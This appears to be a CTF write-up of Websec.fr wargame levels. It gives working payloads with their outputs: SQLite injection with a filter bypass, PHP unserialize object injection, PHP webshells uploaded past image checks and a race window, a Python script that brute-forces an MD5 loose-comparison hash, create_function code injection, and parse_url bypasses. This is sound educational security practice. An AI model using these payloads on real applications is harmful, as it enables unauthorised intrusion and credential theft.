Avishai's CTF Writeups

...

View on GitHub

← Back to websec.fr

This folder contains solutions for the Websec.fr wargame from websec.fr.

level01

There is a basic sql injection, here in variant of sqlite. Let’s examine the structure of the table:

  • Request

    5 Union select 1,sql FROM sqlite_master

  • Answer:

    CREATE TABLE users(id int(7), username varchar(255), password varchar(255))

Okay, we can see there is also column for password, let’s get all passwords and usernames:

  • Request

    5 union select group_concat(username),group_concat(password) from users

  • Answer:

    UnrelatedPassword,ExampleUserPassword,WEBSEC{Simple_SQLite_Injection}

Yay, the FLAG is found inside the passwords

Flag: WEBSEC{Simple_SQLite_Injection}

Next Level Writeup

level02

Here it’s like level01, however, this time it uses preg_replace to replace keywords like union, order, select, from, group, by and so on.

The trick here is that it doesn’t replace recursively, so if we will input: sBYelect, it’ll remove only the BY but the select will still be there…

So, let’s just push BY into all of the forbidden keywords.

  • Request

    5 UBYnion sBYelect 1,sql FBYROM sqlite_master

  • Answer:

    CREATE TABLE users(id int(7), username varchar(255), password varchar(255))

Okay, we can see there is also column for password, let’s get all passwords and usernames:

  • Request

    5 uBYnion sBYelect gBYroup_concat(username),gBYroup_concat(password) fBYrom users

  • Answer:

    WEBSEC{BecauseBlacklistsAreOftenAgoodIdea}

Yay, the FLAG is found inside the passwords.

Flag: WEBSEC{BecauseBlacklistsAreOftenAgoodIdea}

Next Level Writeup

level04

Here there is an unsecured unserialize function, which can let us inject our own SQL object and then execute our malicious queries.

<?php
class SQL {
    public $query = "SELECT username FROM users WHERE id=";
    public $conn;
    public function __construct() {
    }
    
    public function connect() {
        $this->conn = new SQLite3 ("database.db", SQLITE3_OPEN_READONLY);
    }

    public function SQL_query($query) {
        $this->query = $query;
    }

    public function execute() {
        return $this->conn->query ($this->query);
    }

    public function __destruct() {
        if (!isset ($this->conn)) {
            $this->connect ();
        }
        
        $ret = $this->execute ();
        if (false !== $ret) {    
            while (false !== ($row = $ret->fetchArray (SQLITE3_ASSOC))) {
                echo '<p class="well"><strong>Username:<strong> ' . $row['username'] . '</p>';
            }
        }
    }
}

$sql = new SQL();
echo base64_encode(serialize($sql));
?>

Let’s examine the structure of the table:

  • Request

    Select SQL FROM sqlite_master; --

  • Answer:

    CREATE TABLE users(id int, username varchar, password varchar)

Let’s get password as username, because this is how it fetchs the results

$ret = $this->execute ();
        if (false !== $ret) {    
            while (false !== ($row = $ret->fetchArray (SQLITE3_ASSOC))) {
                echo '<p class="well"><strong>Username:<strong> ' . $row['username'] . '</p>';
            }
        }
  • Request

    Select password as username from users; --

  • Answer:

    WEBSEC{9abd8e8247cbe62641ff662e8fbb662769c08500}

Yay, the FLAG is found inside the passwords

Flag: WEBSEC{9abd8e8247cbe62641ff662e8fbb662769c08500}

Next Level Writeup

level08

Another RCE using webshell we uploading. This time, we pass this check:

if (exif_imagetype($_FILES['fileToUpload']['tmp_name']) === IMAGETYPE_GIF) 

By just providing the magic IMAGETYPE_GIF which is GIF89a.

Our webshell will show us the files in the folders, and then we’ll read the flag.

<?php 
    $dir = getcwd();  // Current working directory

    $files = scandir($dir);  // Get all files in the current directory
    echo "Files in directory: <br>";
    foreach ($files as $file) {
        echo $file . "<br>";
    }

    echo "Content of flag.txt is:\n".'<br>';
    echo file_get_contents('flag.txt')."<br>";
?>
GIF Files in directory: 
<br>.
<br>..
<br>flag.txt
<br>index.php
<br>php-fpm.sock
<br>source.php
<br>uploads
<br>Content of flag.txt is:
<br>
WEBSEC{BypassingImageChecksToRCE}
<br>

You can easily upload this GIF (of course this isn’t a valid GIF file…), Fake Gif

Flag: WEBSEC{BypassingImageChecksToRCE}

Next Level Writeup

level10

Here we exploit the loose comparison, and the fact it takes only the first 8 digits from the hash

    $hash = substr (md5 ($flag . $file . $flag), 0, 8);
    if ($request == $hash) {
        show_source ($file);
    }

Also, if we will give ./flag.php and .///////flag.php, it’ll be treated the same.

What i want to do is to give 0e1 as the hash, and trying to give some .///////flag.php (with more slashes) that’ll give us hash which looks like: 0edddddddd (d -> digit).

This will work because we use loose comparison, and it being treated as exponent number, which then treated as 0. source from here php operators comparison.

php > echo "0e1" == "0";
> 1
php > echo "0e1" == "0e8472638";
> 1

I’ve tried this simple script, to check on dummy flag whether it’ll work, and it worked!

import hashlib
import string
import itertools
import re

flag = "WEBSEC{{flagflagflag}}"  # we don't know the flag, so just guess one temporarily

def is_magic_hash(s):
    return re.match(r"0e\d+$", s)

counter = 1
while True:
        f = '.' + '/'*counter + 'flag.php'
        h = hashlib.md5((flag + f + flag).encode()).hexdigest()
        # Check if the hash is in the format of "0e" followed by digits
        print(f"Trying f={f}, md5={h}, counter={counter}")
        if is_magic_hash(h[0:8]):
            print(f"Try f={f}, md5={h}, counter={counter}")
            exit()
        counter += 1

Output:

////(...)//flag.php, md5=0e425116ebcb7ea06f57e56d74a0c33c, counter=10391

Know, let’s rewrite the script to attack:

Here we don’t know the flag, and just send each time with more / the filename, until we manage to bypass the if statement.

{% include_relative scripts/level10.py %}

Flag: WEBSEC{Lose_typ1ng_system_are_super_great_aren't_them?}

Next Level Writeup

level15

Here we exploit RCE. we can see it uses the function create_function, however, here create function manual we can see it using eval, and thus considers unsecure…

That’s how it works, how it creates our function:

eval('function() { YOUR_STRING_HERE }');

So, let’s inject some code that’ll break the {}, and then execute our code :)

} echo htmlspecialchars(file_get_contents('/flag.php')); {

Notice we need to use htmlspecialchars, without this function, it won’t show us the flag!

Flag: WEBSEC{HHVM_was_right_about_not_implementing_eval}

Next Level Writeup

level17

both strcmp and strcasecmp, when getting array and string, returns null, which the program treats as true, look here for explain stackoverflow.

let’s insert this as our data: flag[]=a&submit=Go

FLAG image

Flag: WEBSEC{It_seems_that_php_could_use_a_stricter_typing_system}

Next Level Writeup

level25

Here we can bypass this code by two ways:

parse_str(parse_url($_SERVER['REQUEST_URI'])['query'], $query);
                  foreach ($query as $k => $v) {
                      if (stripos($v, 'flag') !== false)
                          die('You are not allowed to get the flag, sorry :/');
                  }

Bypassing using making failure

If we’ll give this input: https://websec.fr/level25/index.php?page=flag&:1337, the parse_url will fail php parse url fails

Bypassing using empty query

If we’ll give this input: https://websec.fr///level25/index.php?page=flag, the parse url will thing the ['query'] is empty, and then again, bypassing the check.

(here in the picture i gave the $_SERVER['REQUEST_URI']) bypass parse_url

Flag: WEBSEC{How_am_I_supposed_to_parse_uri_when_everything_is_so_broooken}

Next Level Writeup

level28

Here we need to upload our webshell and then read the Flag. We’ve got only one second before the file get deleted, is basically RCE combined will TocToe. This will be our payload

<?php
    echo htmlspecialchars(file_get_contents('/flag.php'));
?>

Notice we need to use htmlspecialchars, without this function, it won’t show us the flag!

And then we get:

<?php $flag = 'WEBSEC{Can_w3_please_h4ve_mutexes_in_PHP_naow?_Wait_there_is_a_pthread_module_for_php?!_Awwww:/}';

Flag: WEBSEC{Can_w3_please_h4ve_mutexes_in_PHP_naow?_Wait_there_is_a_pthread_module_for_php?!_Awwww:/}

Next Level Writeup